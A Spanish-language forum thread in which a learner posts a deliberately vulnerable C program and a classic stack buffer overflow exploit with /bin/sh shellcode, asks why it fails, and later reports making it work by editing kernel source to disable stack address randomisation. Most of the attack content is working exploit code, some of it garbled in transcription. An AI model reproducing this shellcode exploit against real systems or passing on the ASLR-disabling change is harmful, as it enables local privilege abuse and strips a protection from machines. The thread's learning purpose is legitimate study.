Hola a todos. Desde hace unas semanas he estado trasteando con la pila (despues de leer el "Smashing the stack for fun and profit"). Weno, mi problema es el siguiente.

Tengo un programa vulnerable (vulnerable.c)
======================================
#include <stdio.h>

unsigned long get_sp(void) {
           __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
        char buf[512];
        printf("sp 0x%x\n",get_sp());
        fflush(NULL);
        if (argc > 1) strcpy(buf,argv[1]);
}
======================================


Prendo exploitarlo con mi exploit (exploit.c):
======================================

#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER _SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
                 __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
          char *buff, *ptr;
          long *addr_ptr, addr;
          int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
          int i;

          if (argc < 2) {
                  puts("");
                  printf("Uso: %s <programa> <tamaño de buffer> <offset>\n", argv[0]);
                  puts("");
                  return 0;
          }
          if (argc > 2) bsize  = atoi(argv[2]);
          if (argc > 3) offset = atoi(argv[3]);

          if (!(buff = malloc(bsize))) {
          printf("No hay memoria.\n");
          return 1;
          }


          addr = get_sp() - offset;
          printf("Usando direccion: 0x%x\n", addr);

          ptr = buff;
          addr_ptr = (long *) ptr;
          for (i = 0; i < bsize; i+=4)
          *(addr_ptr++)=addr;

          for (i = 0; i < (bsize/2); i++) buff=NOP;

          ptr = buff + (bsize/2) - (strlen(shellcode)/2);
          for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode;

          buff[bsize - 1] = '\0';

          char prog[bsize+strlen(argv[1])+1];
          sprintf(prog,"%s \"%s\"",argv[1],buff);

          system(prog);
          puts("------------------------------------------------");
}
======================================

Pero resulta que el stack pointer (apuntador de pila) del exploit no es el mismo que el del programa vulnerable. Ni siquiera hai una diferencia constante entre sus apuntadores de pila.  Debido a esto, no vale de nada asignarle diferentes offsets hasta dar con una direccion valida dentro del buffer (ya que las direcciones son aleatorias).

Le he estado dando muchas vueltas y no logro ver que pasa. ¿ALGUIEN ME PUEDE AYUDAR POR FAVOR?

¿alguien que sepa como averiguar la direccion en la que se situa el buffer de l programa vulnerable ?????

uso gcc-3.3 y kernel 2.6.15 por si eso influye en algo...

en linux no va el ollydbg  .

 Ya utilizo gdb. Lo que pasa es que no se por que falla... A ver. En el manual de "smashing the stack for fun and profit" dice que los programas empiezan en la misma direccion de pila pero por lo que veo, en estos dos no es asi.
 En ambos obtengo la direccion del puntero de pila con __asm__("movl %esp,%eax") como podeis ver. Y la direccion que devuelven es diferente. La pregunta es ¿ Sabeis por que ? o si no
 ¿ sabeis exactamente cual es funcionamiento (algo mas explicativo que "los programas empiezan en la misma direccion de pila") de la obtencion de la direccion del buffer?

( el procesador es un pentium 4 )

 Gracias por vuestro tiempo.

gracias por responder. Mi codigo estaba bien. No se debio de copiar bien en el post (ya lo he corregido) :S pero si q tiene los corchetes ( si no no tendria ningun sentido... ). Pero sigue sin funcionarme. El problema no es ese sino q me falta un concepto q es el que preguntaba en el otro post.
   Es que no se como se averigua la direccion del buffer. A ver, con el codigo en ensamblador, obtengo la direccion del apuntador de pila. Para ver en que direccion de pila empezaba el programa vulnerable con respecto al exploit, meti ese codigo en los dos programas. Resultado, las direcciones de los apuntadores de pila (stack pointer) son aleatorios, por lo tanto es inútil q utilice un offset, ya que este tambien sera aleatorio...
  Alguna idea?? Gracias

Weno..."problema" resuelto. Explicare para los interesados por que no funcionaba este exploit de prueba y como lo hice funcionar. (problema va entre comillas porque realmente no es un problema)

   Efectivamente no funcionaba debido al kernel: Desde hace algunas versiones de linux (no se cual exactamente pero se q despues de la 2.6.7 y antes que la 2.6.15), han optado por randomizar la direccion del stack pointer dentro de un espacio de direcciones de 8 MB. Han optado por esto precisamente para complicar el aprovechamiento de los stack overflows (por eso no es un problema sino un "problema" ).

   Lo que he hecho yo ha sido modificar el codigo del kernel para que no haga esto, es decir, que use direcciones fijas para el stack. No os creais que soy un experto programador y que he hecho grandes cambios , tan solo he cambiado un 1 por un 0. JAJA

En /usr/src/linux/include/linux/kernel.h
cambié
#define randomize_va_space 1
por
#define randomize_va_space 0

y en /usr/src/linux/kernel/sysctl.c
cambie
int randomize_va_space = 1;
por
int randomize_va_space = 0;

Creo que solo hace falta cambiar este ultimo, pero por no comerme mas el tarro he cambiado los dos y funciona. Ahora las direcciones del stack pointer ya no son aleatorias y por lo tanto mi linux es mas vulnerable y ya funciona este codigo